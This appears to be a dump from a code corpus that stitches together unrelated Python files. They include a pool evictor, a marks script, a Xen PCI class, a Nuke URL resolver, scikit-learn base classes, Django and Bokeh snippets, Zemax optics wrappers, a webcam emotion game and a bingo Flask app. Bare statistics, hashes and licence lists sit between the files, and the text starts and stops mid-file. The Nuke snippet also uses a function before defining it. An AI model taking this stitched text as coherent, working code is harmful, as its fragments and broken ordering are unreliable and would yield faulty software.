self.dobs[r] evictAfter = dob + datetime.timedelta(seconds=self.maxAgeSecs) #log.debug('Reaper check:') #log.debug(' dob = %s' % dob) #log.debug(' evictAfter = %s' % evictAfter) #log.debug(' now = %s' % now) if now > evictAfter: try: log.debug('Evicting resource %s in sweep %d' % (r, cnt/self.reapEverySecs)) self.inn.remove(r) self.factory.destroy(r) del self.dobs[r] self.numEvictions += 1 except: log.exception('while reaping') @sync_instance def checkin(self, resource): super(EvictingPool, self).checkin(resource) self.dobs[resource] = datetime.datetime.now() @sync_instance def discard(self, resource): super(EvictingPool, self).discard(resource) if resource in self.dobs: del self.dobs[resource] @sync_instance def grow(self, size): super(EvictingPool, self).grow(size) now = datetime.datetime.now() for r in self.inn: if not r in self.dobs: self.dobs[r] = now # SYNC ALERT: # It is very important that call is not synchronized since we join() on the reaper thread # which may itself be in synchronized call to reap() def shutdown(self): self.isShutdown = True if self.evictorThread.isAlive(): log.debug('joining evictor') self.evictorThread.join(self.reapEverySecs * 2) # 2x == fudge factor super(EvictingPool, self).shutdown() log.debug('Total num evictions = %d' % self.numEvictions)

32.522167

112

0.588761

761

6,602

5.072273

0.31406

0.025389

0.046632

0.021762

0.234974

0.176166

0.112435

0.101554

0.048705

0.03057

0

0.006211

0.317177

6,602

202

113

32.683168

0.850044

0.188428

0

0.352941

0

0.069229

0

0.004951

0

null

0

0.036765

null

0

null

0

null

0

1

0

1

e74b959f80a4277f2b2304174fc6600cf9953045

1,193

py

Python

DAA_Assi.py

scorpion-11/2D_array_clustering

0cf91097aa5fae6145d408c1e8896e562545b561

[ "MIT" ]

null

DAA_Assi.py

scorpion-11/2D_array_clustering

0cf91097aa5fae6145d408c1e8896e562545b561

[ "MIT" ]

null

DAA_Assi.py

scorpion-11/2D_array_clustering

0cf91097aa5fae6145d408c1e8896e562545b561

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Tue Sep 3 14:53:06 2019 @author: ISHA """ arr = [ [ 'XYZ', 1, 88, 56, 45], [ 'ABC', 2, 45, 86, 52], [ 'LMN', 3, 87, 39, 40], [ 'QWS', 4, 96, 86, 85], [ 'TRE', 5, 76, 56, 53], [ 'UTH', 6, 35, 79, 48], [ 'GHJ', 7, 88, 98, 88], [ 'DFS', 8, 72, 80, 68], [ 'CVB', 9, 45, 56, 50], [ 'PQR', 10, 78, 36, 25]] sumCol=[] for i in range(len(arr)): sumCol.append(0) #sumCol[len(arr)] #j = len(arr[0]); for row in range (0,len(arr)): # sumCol[row] = 0; for col in range(2,len(arr[row])): sumCol[row] = sumCol[row] + arr[row][col] print("Average marks of all Students of T1, T2, T3 : ",sumCol) print("Data of Students with greatest cluster are :") print("- - - - - - - - - - - - - - - - - - - - - -") print("\ Name \ Roll No \ T1 \ T2 \ T3 ") print("- - - - - - - - - - - - - - - - - - - - - -") for i in range(len(arr)): if sumCol[i]>240: for j in range(len(arr[i])): print("\ ",arr[i][j], end='\t') print() print("- - - - - - - - - - - - - - - - - - - - - -")

27.744186

63

0.396479

160

1,193

2.95625

0.54375

0.088795

0.063425

0.082452

0.071882

0

0.126138

0.355407

1,193

43

64

27.744186

0.488947

0.102263

0

0.178571

0

0.107143

0.2895

0

1

0

false

0

0.285714

0

null

0

1

0

null

0

1

e74bba43ddf663d48855498cb395dee905054ca7

192

py

Python

text/color/__init__.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/color/__init__.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/color/__init__.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

""" *graphical color* Spectral color measures. """ # from ._color import Color # from ._rgb import Rgba # from ._hsv import Hsba __all__ = [ "Color", "Rgba", "Hsba", ]

10.105263

27

0.583333

21

192

5

0.52381

0

0.276042

192

18

28

10.666667

0.755396

0.604167

0

0.224138

0

1

0

false

0

1

0

null

0

null

0

1

e7507f0a40fe693ee905998ecfffefb63965f98e

5,243

py

Python

xen/xen-4.2.2/tools/python/xen/xend/XendDPCI.py

zhiming-shen/Xen-Blanket-NG

47e59d9bb92e8fdc60942df526790ddb983a5496

[ "Apache-2.0" ]

1

2018-02-02T00:15:26.000Z

xen/xen-4.2.2/tools/python/xen/xend/XendDPCI.py

zhiming-shen/Xen-Blanket-NG

47e59d9bb92e8fdc60942df526790ddb983a5496

[ "Apache-2.0" ]

null

xen/xen-4.2.2/tools/python/xen/xend/XendDPCI.py

zhiming-shen/Xen-Blanket-NG

47e59d9bb92e8fdc60942df526790ddb983a5496

[ "Apache-2.0" ]

1

2019-05-27T09:47:18.000Z

#============================================================================ # This library is free software; you can redistribute it and/or # modify it under the terms of version 2.1 of the GNU Lesser General Public # License as published by the Free Software Foundation. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA #============================================================================ # Copyright (c) 2008 NEC Corporation # Yosuke Iwamatsu <y-iwamatsu at ab jp nec com> #============================================================================ from xen.xend.XendBase import XendBase from xen.xend.XendPPCI import XendPPCI from xen.xend import XendAPIStore from xen.xend import uuid as genuuid import XendDomain, XendNode from XendError import * from XendTask import XendTask from XendLogging import log class XendDPCI(XendBase): """Representation of a passthrough PCI device.""" def getClass(self): return "DPCI" def getAttrRO(self): attrRO = ['virtual_domain', 'virtual_bus', 'virtual_slot', 'virtual_func', 'virtual_name', 'VM', 'PPCI', 'hotplug_slot', 'key', 'options'] return XendBase.getAttrRO() + attrRO def getAttrRW(self): attrRW = [] return XendBase.getAttrRW() + attrRW def getAttrInst(self): attrInst = ['VM', 'PPCI', 'hotplug_slot', 'key'] return XendBase.getAttrInst() + attrInst def getMethods(self): methods = ['destroy'] return XendBase.getMethods() + methods def getFuncs(self): funcs = ['create'] return XendBase.getFuncs() + funcs getClass = classmethod(getClass) getAttrRO = classmethod(getAttrRO) getAttrRW = classmethod(getAttrRW) getAttrInst = classmethod(getAttrInst) getMethods = classmethod(getMethods) getFuncs = classmethod(getFuncs) def create(self, dpci_struct): # Check if VM is valid xendom = XendDomain.instance() if not xendom.is_valid_vm(dpci_struct['VM']): raise InvalidHandleError('VM', dpci_struct['VM']) dom = xendom.get_vm_by_uuid(dpci_struct['VM']) # Check if PPCI is valid xennode = XendNode.instance() ppci_uuid = xennode.get_ppci_by_uuid(dpci_struct['PPCI']) if not ppci_uuid: raise InvalidHandleError('PPCI', dpci_struct['PPCI']) for existing_dpci in XendAPIStore.get_all('DPCI'): if ppci_uuid == existing_dpci.get_PPCI(): raise DirectPCIError("Device is in use") # Assign PPCI to VM try: dpci_ref = XendTask.log_progress(0, 100, dom.create_dpci, dpci_struct) except XendError, e: raise DirectPCIError("Failed to assign device") # TODO: Retrive virtual pci device infomation. return dpci_ref create = classmethod(create) def get_by_VM(cls, VM_ref): result = [] for dpci in XendAPIStore.get_all("DPCI"): if dpci.get_VM() == VM_ref: result.append(dpci.get_uuid()) return result get_by_VM = classmethod(get_by_VM) def __init__(self, uuid, record): XendBase.__init__(self, uuid, record) self.virtual_domain = -1 self.virtual_bus = -1 self.virtual_slot = -1 self.virtual_func = -1 self.VM = record['VM'] self.PPCI = record['PPCI'] self.hotplug_slot = int(record['hotplug_slot'], 16) self.key = record['key'] if 'options' in record.keys(): self.options = record['options'] def destroy(self): xendom = XendDomain.instance() dom = xendom.get_vm_by_uuid(self.get_VM()) if not dom: raise InvalidHandleError("VM", self.get_VM()) XendTask.log_progress(0, 100, dom.destroy_dpci, self.get_uuid()) def get_virtual_domain(self): return self.virtual_domain def get_virtual_bus(self): return self.virtual_bus def get_virtual_slot(self): return self.virtual_slot def get_virtual_func(self): return self.virtual_func def get_virtual_name(self): return "%04x:%02x:%02x.%01x" % (self.virtual_domain, self.virtual_bus, self.virtual_slot, self.virtual_func) def get_VM(self): return self.VM def get_PPCI(self): return self.PPCI def get_hotplug_slot(self): return "%d" % self.hotplug_slot def get_key(self): return self.key def get_options(self): return self.options

31.584337

78

0.586687

601

5,243

4.966722

0.284526

0.044221

0.037521

0.028141

0.111893

0.084422

0.042881

0

0.011179

0.283426

5,243

165

79

31.775758

0.783338

0.202174

0

0.055046

0

0.061269

0

0.006061

0

null

0

0.073395

null

0

null

0

null

0

1

0

1

e752623f8b85b648901f73070fbd56e8b7f3b57a

578

py

Python

studio/nuke/init.py

astips/tk-astips-app-url-resolver

fd1a5d49d1ef1590a05ad640fb4f74a9579721ab

[ "MIT" ]

null

studio/nuke/init.py

astips/tk-astips-app-url-resolver

fd1a5d49d1ef1590a05ad640fb4f74a9579721ab

[ "MIT" ]

null

studio/nuke/init.py

astips/tk-astips-app-url-resolver

fd1a5d49d1ef1590a05ad640fb4f74a9579721ab

[ "MIT" ]

3

2018-06-07T14:26:51.000Z

2021-11-30T12:49:18.000Z

# -*- coding: utf-8 -*- ########################################################################################### # # Author: astips - (animator.well) # # Date: 2017.03 # # Url: https://github.com/astips # # Description: nuke url resolver # ########################################################################################### import nuke from studiourl import StudioUrl nuke.addFilenameFilter(nurl_resolver) def nurl_resolver(url) : studio_url = StudioUrl(url) real_path = studio_url.real_path """ do get the real path """ return real_path

20.642857

91

0.458478

51

578

5.058824

0.588235

0.124031

0.085271

0

0.014113

0.141869

578

27

92

21.407407

0.506048

0.224913

0

1

0.142857

false

0

0.285714

0

0.571429

0

null

0

null

0

1

0

1

e75ab78356dcf425204c61db6532938fb81889de

932

py

Python

magnifier/base.py

koreander2001/magnifier

6771e1ecd6abb3108c482579f5e24f210c7ebcdd

[ "MIT" ]

null

magnifier/base.py

koreander2001/magnifier

6771e1ecd6abb3108c482579f5e24f210c7ebcdd

[ "MIT" ]

5

2022-01-16T12:12:30.000Z

2022-02-13T08:54:28.000Z

magnifier/base.py

koreander2001/magnifier

6771e1ecd6abb3108c482579f5e24f210c7ebcdd

[ "MIT" ]

null

from abc import ABCMeta, abstractmethod from sklearn.base import ( BaseEstimator, ClassifierMixin, RegressorMixin, TransformerMixin, ) class BaseClassifier(BaseEstimator, ClassifierMixin, metaclass=ABCMeta): @abstractmethod def fit(self, X, y, **fit_params) -> "BaseClassifier": raise NotImplementedError @abstractmethod def predict(self, X): raise NotImplementedError class BaseRegressor(BaseEstimator, RegressorMixin, metaclass=ABCMeta): @abstractmethod def fit(self, X, y, **fit_params) -> "BaseRegressor": raise NotImplementedError @abstractmethod def predict(self, X): raise NotImplementedError class BaseTransformer(BaseEstimator, TransformerMixin, metaclass=ABCMeta): def fit(self, X, y=None, **fit_params) -> "BaseTransformer": return self @abstractmethod def transform(self, X): raise NotImplementedError

24.526316

74

0.709227

85

932

7.741176

0.329412

0.045593

0.050152

0.422492

0.404255

0

0.204936

932

37

75

25.189189

0.887989

0

0.444444

0

0.045064

0

1

0.222222

false

0

0.074074

0.037037

0.444444

0

null

0

null

0

1

0

1

e75d3be60f316283c600b24e405c971784ba5c9d

323

py

Python

duplicate_titles.py

tomaszpasternak94/OpenX_task

0a9985c48c8d0ac977bb8c315fa91fe2253998a5

[ "MIT" ]

null

duplicate_titles.py

tomaszpasternak94/OpenX_task

0a9985c48c8d0ac977bb8c315fa91fe2253998a5

[ "MIT" ]

null

duplicate_titles.py

tomaszpasternak94/OpenX_task

0a9985c48c8d0ac977bb8c315fa91fe2253998a5

[ "MIT" ]

null

import titles from titles import titlesAll def duplicatesF(): duplicates=[] counter = 0 for i in titlesAll: if i in titlesAll[counter+1:]: duplicates.append(i) else: pass counter += 1 print('\nlista duplikatów:') return print(list(set(duplicates)),'\n')

21.533333

44

0.585139

37

323

5.108108

0.648649

0.031746

0.126984

0

0.013393

0.306502

323

14

45

23.071429

0.830357

0

0.065015

0

1

0.076923

false

0.076923

0.153846

0

0.307692

0.153846

0

null

0

null

0

1

0

1

e75e22fe64eb93b8f8971a78056844f02a3db2c0

808

py

Python

jira_analysis/defect_rate/chart/defect.py

arrwhidev/jira-analysis

2e04567a43dd15391b71a6c629f3489d637d6e3c

[ "MIT" ]

10

2020-06-12T13:33:20.000Z

2022-01-14T15:33:12.000Z

jira_analysis/defect_rate/chart/defect.py

arrwhidev/jira-analysis

2e04567a43dd15391b71a6c629f3489d637d6e3c

[ "MIT" ]

6

2020-06-03T06:58:15.000Z

2022-02-10T15:02:30.000Z

jira_analysis/defect_rate/chart/defect.py

arrwhidev/jira-analysis

2e04567a43dd15391b71a6c629f3489d637d6e3c

[ "MIT" ]

6

2020-06-02T15:20:13.000Z

2021-11-04T08:46:17.000Z

from bokeh.models.sources import ColumnDataSource from bokeh.transform import cumsum from functools import partial from typing import List, Type from jira_analysis.chart.base import Axis, IChart, Chart from jira_analysis.defect_rate.issue import Issue from .plot.donut import DefectRateDonut def generate_defect_chart( issues: List[Issue], chart_class: Type[IChart] = Chart ) -> None: chart = chart_class( label=None, x=Axis(label="", values=None, size=600), y=Axis(label="", values=None, size=300), tooltips="@value: @defect_rate{0.1f}%", ) DefectRateDonut( issues=issues, data_source=ColumnDataSource, no_defects_transform=partial(cumsum, include_zero=True), defects_transform=cumsum, ).draw(chart) chart.render()

28.857143

64

0.705446

101

808

5.514851

0.49505

0.032316

0.057451

0.068223

0.082585

0

0.012251

0.191832

808

27

65

29.925926

0.840735

0

0.033416

0

1

0.043478

false

0

0.304348

0

0.347826

0

null

0

null

0

1

0

1

e767923499edba6e21645a08d475976338a43fdd

472

py

Python

myblog/posts/serializer.py

daxia07/fancyBlog

8a3970da3079a48aca4f42d40e4c9a8ce0b2710e

[ "MIT" ]

1

2019-09-21T01:29:22.000Z

myblog/posts/serializer.py

daxia07/fancyBlog

8a3970da3079a48aca4f42d40e4c9a8ce0b2710e

[ "MIT" ]

3

2020-06-05T23:25:10.000Z

2021-04-08T20:11:17.000Z

myblog/posts/serializer.py

daxia07/fancyBlog

8a3970da3079a48aca4f42d40e4c9a8ce0b2710e

[ "MIT" ]

null

from django.contrib.auth.models import User from rest_framework import serializers from .models import Post class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ('id', 'username', 'email') class PostSerializer(serializers.ModelSerializer): author = serializers.ReadOnlyField(source='author.username') # author = UserSerializer(read_only=True) class Meta: model = Post fields = '__all__'

24.842105

64

0.709746

49

472

6.714286

0.571429

0.072948

0.085106

0

0.199153

472

18

65

26.222222

0.87037

0.082627

0

0.166667

0

0.085847

0

1

0

false

0

0.25

0

0.666667

0

null

0

null

0

1

0

1

e76c1be4588d99d47323cd7bbb2a9b1848adaf12

7,028

py

Python

component.py

oxford-pcs/zSpec

0879371076c25d965514a7d5576b0e1a30efa2bd

[ "MIT" ]

1

2018-01-22T21:53:54.000Z

component.py

oxford-pcs/zSpec

0879371076c25d965514a7d5576b0e1a30efa2bd

[ "MIT" ]

1

2018-01-18T13:20:35.000Z

component.py

oxford-pcs/zSpec

0879371076c25d965514a7d5576b0e1a30efa2bd

[ "MIT" ]

1

2021-08-03T10:27:59.000Z

import numpy as np import pylab as plt import pyzdde.zdde as pyz class Component(object): def __init__(self, zmx_file, zcontroller, lumultiplier=1e-3, wumultiplier=1e6): ''' Initialise a component. [lumultiplier] is used to move from Zemax lens units to another physical dimension. By default, Zemax does its calculations in mm, so a [lumultiplier] of 1e-3 moves from mm to m. [wumultiplier] is used to move from SI units to Zemax wavelength units. By default, Zemax does its calculations in micron, so a [wumultiplier] of 1e6 moves from m to micron. ''' self.file_pathname = zmx_file self.zcontroller = zcontroller self.lumultiplier = lumultiplier self.wumultiplier = wumultiplier def _doAnalysisWFE(self, fields, field_type, wavelength, sampling, verbose=True, debug=False): if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname): self.zcontroller.loadZemaxFile(self.file_pathname) self.zcontroller.setWavelengthNumberOf(1) self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1) data, headers = self.zcontroller.getAnalysisWFEForFields(fields, field_type, sampling=sampling) return data, headers def _doRayTrace(self, fields, field_type, wavelength, verbose=True, debug=False): if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname): self.zcontroller.loadZemaxFile(self.file_pathname) self.zcontroller.setWavelengthNumberOf(1) self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1) rays = self.zcontroller.doRayTraceForFields(fields, field_type=field_type, px=0, py=0) tmp = [] for ray in rays: tmp.append({ 'x': ray.x * self.lumultiplier, 'y': ray.y * self.lumultiplier, 'z': ray.z * self.lumultiplier, 'dcos_l': ray.dcos_l, 'dcos_m': ray.dcos_m, 'dcos_n': ray.dcos_n }) rays = tmp if debug: for idx, ray in enumerate(rays): if idx == 0: print print "field\tx\ty\tz" print idx, '\t', round(ray['x'], 2), '\t', round(ray['y'], 2), \ '\t', round(ray['z'], 2) if idx == len(rays): print plt.plot() for field, ray in zip(fields, rays): plt.plot(rays['x'], ray['y'], 'o', label=str('[' + str(field[0]) + ', ' + str(field[1]) + ']')) plt.legend(loc='upper right', numpoints=1) plt.show() return rays def getEFFL(self, wavelength, verbose=False): if verbose: print "Getting EFFL for component... " if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname): self.zcontroller.loadZemaxFile(self.file_pathname) self.zcontroller.setWavelengthNumberOf(1) self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1) return self.zcontroller.getLensData().EFL*self.lumultiplier def getENPD(self, wavelength, verbose=False): if verbose: print "Getting ENPD for component... " if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname): self.zcontroller.loadZemaxFile(self.file_pathname) self.zcontroller.setWavelengthNumberOf(1) self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1) return self.zcontroller.getPupilData().ENPD*self.lumultiplier def getEXPD(self, wavelength, verbose=False): if verbose: print "Getting EXPD for component... " if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname): self.zcontroller.loadZemaxFile(self.file_pathname) self.zcontroller.setWavelengthNumberOf(1) self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1) return self.zcontroller.getPupilData().EXPD*self.lumultiplier def getWFNO(self, wavelength, verbose=False): if verbose: print "Getting WFNO for component... " if not self.zcontroller.isFileAlreadyLoaded(self.file_pathname): self.zcontroller.loadZemaxFile(self.file_pathname) self.zcontroller.setWavelengthNumberOf(1) self.zcontroller.setWavelengthValue(float(wavelength)*self.wumultiplier, 1) return self.zcontroller.getLensData().realWorkFNum class Camera(Component): def __init__(self, camera_zmx_file, zcontroller, lumultiplier=1e-3, wumultiplier=1e6): super(Camera, self).__init__(camera_zmx_file, zcontroller, lumultiplier, wumultiplier) pass def getImXY(self, fields, wavelength, verbose=True, debug=False): ''' Trace the chief ray from each collimated field point through the camera and work out the corresponding (x, y) positions at the image plane. ''' if verbose: print "Tracing object angles through camera..." rays = self._doRayTrace(fields, 0, wavelength, verbose=verbose, debug=debug) ImXYs = [] for ray in rays: ImXYs.append((ray['x'], ray['y'])) return ImXYs def getWFE(self, fields, wavelength, sampling, verbose=True, debug=False): ''' Get the pupil WFE after passing through the camera. ''' return self._doAnalysisWFE(fields, 0, wavelength, sampling=sampling, verbose=verbose, debug=debug) class Collimator(Component): def __init__(self, collimator_zmx_file, zcontroller, lumultiplier=1e-3, wumultiplier=1e6): super(Collimator, self).__init__(collimator_zmx_file, zcontroller, lumultiplier, wumultiplier) pass def getOA(self, fields, wavelength, verbose=True, debug=False): ''' Trace the chief ray for each field point in the slit through the collimator and, using directional cosines and the relations (p53 Zemax manual) tan(alpha) = direction_cosine(x)/direction_cosine(z) .. (1) tan(beta) = direction_cosine(y)/direction_cosine(z) .. (2) calculate the output field angles x and y (alpha and beta respectively). ''' if verbose: print "Tracing object heights through collimator... " rays = self._doRayTrace(fields, 1, wavelength, verbose=verbose, debug=debug) OAs = [] for ray in rays: #print ray['dcos_l'], ray['dcos_m'], ray['dcos_n'] OAs.append((np.degrees(np.arctan(ray['dcos_l']/ray['dcos_n'])), np.degrees(np.arctan(ray['dcos_m']/ray['dcos_n'])))) return OAs def getWFE(self, fields, wavelength, sampling, verbose=True, debug=False): ''' Get the pupil WFE after passing through the collimator. ''' return self._doAnalysisWFE(fields, 1, wavelength, sampling=sampling, verbose=verbose, debug=debug)

37.784946

81

0.644138

800

7,028

5.57

0.21375

0.104354

0.046679

0.05386

0.601212

0.545108

0.524686

0.464542

0.41158

0.387792

0

0.008554

0.251423

7,028

185

82

37.989189

0.838434

0.006972

0

0.365854

0

0.050051

0

null

0.01626

0.02439

null

0.081301

0

null

0

null

0

1

0

1

e7729d185d22495a54248f29283594e126a295e3

412

py

Python

django/reviewApp/migrations/0008_artist_background_image.py

Akasiek/scorethatlp

1c669afdaa8fe990e53706f5e60d201fbb76c26a

[ "MIT" ]

5

2022-03-15T18:00:40.000Z

2022-03-25T18:19:29.000Z

django/reviewApp/migrations/0008_artist_background_image.py

Akasiek/scorethatlp

1c669afdaa8fe990e53706f5e60d201fbb76c26a

[ "MIT" ]

null

django/reviewApp/migrations/0008_artist_background_image.py

Akasiek/scorethatlp

1c669afdaa8fe990e53706f5e60d201fbb76c26a

[ "MIT" ]

null

# Generated by Django 4.0.2 on 2022-02-21 17:23 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('reviewApp', '0007_artist_image'), ] operations = [ migrations.AddField( model_name='artist', name='background_image', field=models.FileField(blank=True, null=True, upload_to=''), ), ]

21.684211

72

0.604369

45

412

5.422222

0.8

0

0.063545

0.274272

412

18

73

22.888889

0.752508

0.109223

0

1

0

0.131507

0

1

0

false

0

0.083333

0

0.333333

0

null

0

1

0

null

0

1

e77a84551720834d0ba1ec3c408dd9aaa01cbf7f

4,668

py

Python

emotion.py

Kukanani/emotion_game

fc2338d96e1f5ca946f8d8ef25701270b25bf511

[ "BSD-3-Clause" ]

null

emotion.py

Kukanani/emotion_game

fc2338d96e1f5ca946f8d8ef25701270b25bf511

[ "BSD-3-Clause" ]

null

emotion.py

Kukanani/emotion_game

fc2338d96e1f5ca946f8d8ef25701270b25bf511

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python import cv2 import sys import numpy import requests import time import operator import math import random api_key = None with open("api.txt") as file: api_key = file.read() if api_key is None: print("error, api.txt not found") exit() emotions = { "neutral": "neutral", "happiness": "happy", "contempt": "contempt", "sadness": "sad", "disgust": "disgusted", "anger": "angry", "surprise": "surprised", "fear": "surprised" } target_emotion = "" faces = [] processed = False def send_pic(img): global emotion global faces global processed img_str = cv2.imencode('.jpg', img)[1].tostring() data = img_str res = requests.post(url='https://api.projectoxford.ai/emotion/v1.0/recognize', data=data, headers={'Content-Type': 'application/octet-stream', 'Ocp-Apim-Subscription-Key': api_key}) if res.status_code == 200: faces = res.json() processed = True cascPath = sys.argv[1] faceCascade = cv2.CascadeClassifier(cascPath) video_capture = cv2.VideoCapture(0) pic_width = int(video_capture.get(3)) lastTime = time.time() interval = 5 timeCount= 0 target_emotion = emotions[random.choice(emotions.keys()[:-1])] while True: faces = [] target_emotion = emotions[random.choice(emotions.keys()[:-1])] lastTime = time.time() while timeCount <= interval: # Capture frame-by-frameC ret, frame = video_capture.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = faceCascade.detectMultiScale( gray, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30), flags=cv2.CASCADE_SCALE_IMAGE ) # Draw a rectangle around the faces # for (x, y, w, h) in faces: # cv2.rectangle(frame, (x, y), (x+w, y+h), (255, 0, 0), 2) cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1) cv2.putText(frame, str(int(math.ceil(interval-timeCount))), (pic_width-50, 50), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(frame, "Make a " + target_emotion.upper() + " face...", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) # Display the resulting frame cv2.imshow('Video', frame) timeCount = time.time() - lastTime if cv2.waitKey(1) & 0xFF == ord('q'): break cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1) cv2.putText(frame, "Processing...", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('Video', frame) if cv2.waitKey(1) & 0xFF == ord('q'): break send_pic(frame) timeCount = 0 lastTime = time.time() ret, frame = video_capture.read() cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1) cv2.putText(frame, "Processing...", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('Video', frame) while not processed: if cv2.waitKey(1) & 0xFF == ord('q'): break processed = False if len(faces) > 0: correct = 0 for face in faces: emotion = emotions[max(face['scores'].iteritems(), key=operator.itemgetter(1))[0]] left = int(face['faceRectangle']['left']) top = int(face['faceRectangle']['top']) width = int(face['faceRectangle']['width']) height = int(face['faceRectangle']['height']) color = (0, 0, 255) print emotion, target_emotion if emotion == target_emotion: correct += 1 color = (0, 255, 0) cv2.rectangle(frame, (left, top), (left + width, top + height), color, 2) cv2.rectangle(frame, (left, top), (left + width, top - 40), color, -1) cv2.putText(frame, emotion.title(), (left,top-10), cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 0), 1, cv2.LINE_AA) percentage = float(correct)/float(len(faces)) print percentage cv2.rectangle(frame, (0, 0), (pic_width, 50), (255, 255, 255, 128), -1) if percentage > 0.5: cv2.putText(frame, "Good job!", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) else: cv2.putText(frame, "Try again!", (0, 35), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) # Display the resulting frame cv2.imshow('Video', frame) if cv2.waitKey(3000) & 0xFF == ord('q'): break # When everything is done, release the capture video_capture.release() cv2.destroyAllWindows()

31.972603

143

0.584833

614

4,668

4.364821

0.289902

0.015672

0.008955

0.015672

0.33209

0.314179

0.309701

0.204104

0

0.065975

0.256427

4,668

146

144

31.972603

0.706137

0.056341

0

0.27027

0

0.094816

0.011141

0

0.003638

0

null

0

0.072072

null

0.027027

0

null

0

null

0

1

0

1

e77bd5ef109c5f7bceab6baf18a8c95d6853f90c

6,661

py

Python

main.py

cpressland/bingo

0ad07bfc65727a347703373eeda088812742cece

[ "MIT" ]

null

main.py

cpressland/bingo

0ad07bfc65727a347703373eeda088812742cece

[ "MIT" ]

null

main.py

cpressland/bingo

0ad07bfc65727a347703373eeda088812742cece

[ "MIT" ]

null

from random import choice from flask import Flask, redirect app = Flask(__name__) words = { "1": "One Direction", "2": "Dr Who", "3": "Cup of herbal tea", "4": "Knock at the door", "5": "Johnny's Alive", "6": "Little Mix", "7": "David Beckham", "8": "Golden Gate", "9": "Selfie Time", "10": "Boris’ den", "11": "Stranger Things", "12": "Dirty dozen", "13": "Unlucky for some", "14": "Valentine’s Day", "15": "Your claim to fame", "16": "Sweet 16", "17": "Dancing Queen", "18": "Party on Tatooine", "19": "Time for Quarantine", "20": "Facemasks Aplenty", "21": "Vaccines are fun", "22": "Scooby Doo and Scrappy too", "23": "The Bees Knees", "24": "It's Dumbledore", "25": "Dobbie Dies", "26": "She's had her Weetabix", "27": "Bridesmaid Dresses", "28": "Over Weight", "29": "Rise and Shine", "30": "Liz Lemon Rocks", "31": "Man Bun", "32": "Jimmy Choo", "33": "Dirty knees", "34": "Murder on the Dance Floor", "35": "Jump and Jive", "36": "New Tricks", "37": "A Hobbits Tale", "38": "Magnum P.I.", "39": "Love Island Time", "40": "Hello Naughty", "41": "Time for Fun", "42": "Winnie the Pooh", "43": "Fish, Chips and Pea's", "44": "Scores on the Doors", "45": "Halfway there", "46": "Up to tricks", "47": "Four and seven", "48": "Tag a mate", "49": "Amazon Prime", "50": "Hawaii Five-O", "51": "Aliens!", "52": "Chicken Vindaloo", "53": "Stuck in a tree", "54": "Grannys Drawers", "55": "Snakes alive", "56": "Chill with Netflix", "57": "Heinz varieties", "58": "Make them wait", "59": "Tequila and Lime", "60": "Five dozen", "61": "Baker's bun", "62": "Turn the screw", "63": "OMG, they killed Kennedy", "64": "Will you still love me", "65": "Thunderbirds are Go", "66": "Jedi Tricks", "67": "Retirement Heaven", "68": "Cathrine Tate", "69": "Moonwalk Time", "70": "I'm holding out for a Hero", "71": "Fox on the run", "72": "Six dozen", "73": "Not the Bees!", "74": "Recycle More", "75": "What a time to be alive", "76": "Ripley Saves Hicks", "77": "Sunset strip", "78": "Haters Gunna Hate", "79": "One more time", "80": "Imagine!", "81": "Girls just wana have fun", "82": "Electric Boogaloo", "83": "Gluten Free", "84": "Ghostbusters", "85": "Staying alive", "86": "Instagram Pix", "87": "Walk like an Egyptian", "88": "Will and Kate", "89": "Busta Rhyme", "90": "Joe Ninety", } def init(): global previous_numbers global numbers previous_numbers = [] numbers = list(range(1, 91)) @app.route("/") def root(): try: previous_numbers return redirect("/play", code=302) except NameError: init() return redirect("/play", code=302) @app.route("/play") def play(): try: number = previous_numbers[-1] return f""" <html> <style> body {{ font-family: Helvetica, Arial, Sans-Serif; text-align: center; background-color: black; color: white; }} pre {{ white-space: pre-wrap; font-size: 25px; }} .number {{ font-size: 200px; }} .phrase {{ font-size: 50px; }} .button {{ border: none; color: white; padding: 15px 32px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; }} .next {{ background-color: #4CAF50; }} .reset {{ background-color: #f44336; }} </style> <body> <span class="number">{number}</span><br /> <span class="phrase">{words[str(number)]}</span><br /> <br /> <form action="/increment"> <input type="submit" class="button next" 